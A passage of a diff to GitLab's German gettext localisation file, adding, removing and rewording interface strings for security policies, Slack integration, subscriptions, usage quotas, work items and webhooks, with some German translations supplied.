msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -37716,7 +38375,7 @@ msgid "Select target project"
msgstr ""
msgid "Select timezone"
-msgstr ""
+msgstr "Zeitzone wählen"
msgid "Select type"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr "Dateibrowser anzeigen"
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38413,7 +39075,7 @@ msgid "Showing last %{size} of log -"
msgstr ""
msgid "Showing latest version"
-msgstr ""
+msgstr "Neueste Version anzeigen"
msgid "Showing version #%{versionNumber}"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr "Anmeldung fehlgeschlagen, weil %{error}."
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,24 +39368,18 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
-msgstr "GitLab-Inhalte anzeigen und kontrollieren, während du in Slack arbeitest. Gib den Befehl als Nachricht in deinen Chat-Client ein, um ihn zu aktivieren. %{startMarkup}Erfahre mehr%{endMarkup}."
-
msgid "Slice multiplier"
msgstr ""
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "%{new_merge_request} mit diesen Änderungen"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Einen Review starten"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39778,7 +40440,7 @@ msgid "Subscribe to RSS feed"
msgstr "RSS-Feed abonnieren"
msgid "Subscribe to calendar"
-msgstr ""
+msgstr "Kalender abonnieren"
msgid "Subscribed"
msgstr "Abonniert"
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "Die Beziehung des Forks wurde entfernt."
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41492,7 +42181,7 @@ msgid "The snippet is visible to any logged in user except external users."
msgstr ""
msgid "The source project of this merge request has been removed."
-msgstr "Das Quellprojekt dieser Zusammenführungsanforderung wurde entfernt."
+msgstr "Das Quellprojekt dieses Merge Requests wurde entfernt."
msgid "The source topic and the target topic are identical."
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr "Dieser Job hat keine Ablaufverfolgung."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Dieser Job wurde abgebrochen"
@@ -42346,9 +43050,6 @@ msgstr "Dieser Job wartet auf Ressource: "
msgid "This job requires a manual action"
msgstr "Dieser Job erfordert eine manuelle Aktion"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr "Dieser Benutzer ist der Autor dieses/dieser/diesem %{noteable}."
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42833,7 +43534,7 @@ msgid "Timeout for the fastest Gitaly operations (in seconds)."
msgstr ""
msgid "Timezone"
-msgstr ""
+msgstr "Zeitzone"
msgid "Time|A"
msgstr ""
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "Um ein SVN-Repository zu importieren, schaue dir %{svn_link} an."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43092,7 +43798,7 @@ msgid "To view usage, refresh this page in a few minutes."
msgstr ""
msgid "To widen your search, change or remove filters above"
-msgstr "Um deine Suche zu erweitern, änder oder entferne die obigen Filter."
+msgstr "Um deine Suche zu erweitern, ändere oder entferne die obigen Filter."
msgid "To widen your search, change or remove filters above."
msgstr "Um deine Suche zu erweitern, änder oder entferne die obigen Filter."
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,13 +44324,10 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr "Versuche, dich mit deinem Benutzernamen oder deiner E-Mail-Adresse anzumelden. Wenn du dein Passwort vergessen hast, versuche es wiederherzustellen"
-
-msgid "Try out GitLab Pipelines"
+msgid "Try it out now"
msgstr ""
-msgid "Try out the new Web IDE"
+msgid "Try out GitLab Pipelines"
msgstr ""
msgid "Try the troubleshooting steps here."
@@ -43748,7 +44439,7 @@ msgid "URL is triggered for each branch updated to the repository"
msgstr ""
msgid "URL is triggered when a merge request is created, updated, or merged"
-msgstr "Die URL wird ausgelöst, wenn eine Zusammenführungsanforderung erstellt, aktualisiert oder zusammengeführt wird"
+msgstr "Die URL wird ausgelöst, wenn ein Merge Request erstellt, aktualisiert oder zusammengeführt wird"
msgid "URL is triggered when a new tag is pushed to the repository"
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr "Der Diff konnten nicht geladen werden. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "Das Merge-Request-Widget konnte nicht geladen werden. Versuchen Sie die Seite neu zu laden."
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Entfavorisieren"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr "Nicht bestätigt"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Aktuell"
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr "Umfasst Artefakte, Repositories, Wiki, Uploads und andere Elemente."
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "Mehr über Nutzungsquoten erfahren"
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr "Nutzung von Projektressourcen im gesamten Projekt %{strong_start}%{proje
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Nutzung von Ressourcen in deinen Projekten"
-msgid "UsageQuota|Usage quotas help link"
-msgstr "Hilfelink zu Nutzungsquoten"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr "Template verwenden"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr "Aktivität"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Bereits wegen Missbrauchs gemeldet"
-
msgid "UserProfile|Blocked user"
msgstr "Blockierte(r) Benutzer(in)"
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr "Abonnieren"
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,12 +45787,9 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
-msgid "Valid From"
-msgstr "Gültig ab"
-
msgid "Validate"
msgstr ""
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "Bestätigt"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr "Konfiguration verifizieren"
msgid "Version"
msgstr "Version"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "Die Version %{report_version} für den Berichtstyp %{report_type} wird nicht unterstützt, folgende Versionen werden für diesen Berichtstyp unterstützt: %{supported_schema_versions}. GitLab versucht, diesen Bericht anhand der frühesten unterstützten Versionen dieses Berichtstyps zu validieren, um alle Fehler anzuzeigen, übernimmt den Bericht jedoch nicht"
@@ -45387,6 +46063,9 @@ msgstr "Alle Tickets anzeigen"
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "Protokoll ansehen"
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr "Zeige ersetzte Datei @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Die Dokumentation anzeigen"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr "Sichtbarkeit und Zugriffskontrollen"
@@ -46123,10 +46808,10 @@ msgid "WebIDE|This project does not accept unsigned commits. You can’t commit
msgstr ""
msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
-msgstr "Du kannst Dateien in diesem Projekt nicht direkt bearbeiten. Verzweige dieses Projekt und reiche eine Zusammenführungsanfrage mit deinen Änderungen ein."
+msgstr "Du kannst Dateien in diesem Projekt nicht direkt bearbeiten. Verzweige dieses Projekt und reiche ein Merge Request mit deinen Änderungen ein."
msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
-msgstr "Du kannst Dateien in diesem Projekt nicht direkt bearbeiten. Gehe zu deinem Fork und reiche eine Merge-Anfrage mit deinen Änderungen ein."
+msgstr "Du kannst Dateien in diesem Projekt nicht direkt bearbeiten. Gehe zu deinem Fork und reiche ein Merge Request mit deinen Änderungen ein."
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
@@ -46198,7 +46883,7 @@ msgid "Webhooks|A job's status changes."
msgstr ""
msgid "Webhooks|A merge request is created, updated, or merged."
-msgstr "Eine Zusammenführungsanforderung wird erstellt, aktualisiert oder zusammengeführt."
+msgstr "Ein Merge Request wird erstellt, aktualisiert oder zusammengeführt."
msgid "Webhooks|A new tag is pushed to the repository."
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr "Du kannst auch ein Label markieren, um es zu einem Prioritätslabel zu machen."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Du kannst das Diagramm mit den Pfeiltasten bewegen."
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Du kannst deine .gitlab-ci.yml mit %{linkStart}CI Lint%{linkEnd} testen."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr "Du kannst keine weiteren Epics mehr hinzufügen. Dieses Epic hat bereits die maximale Anzahl an untergeordneten Epics."
-msgid "You cannot approve your own deployment."
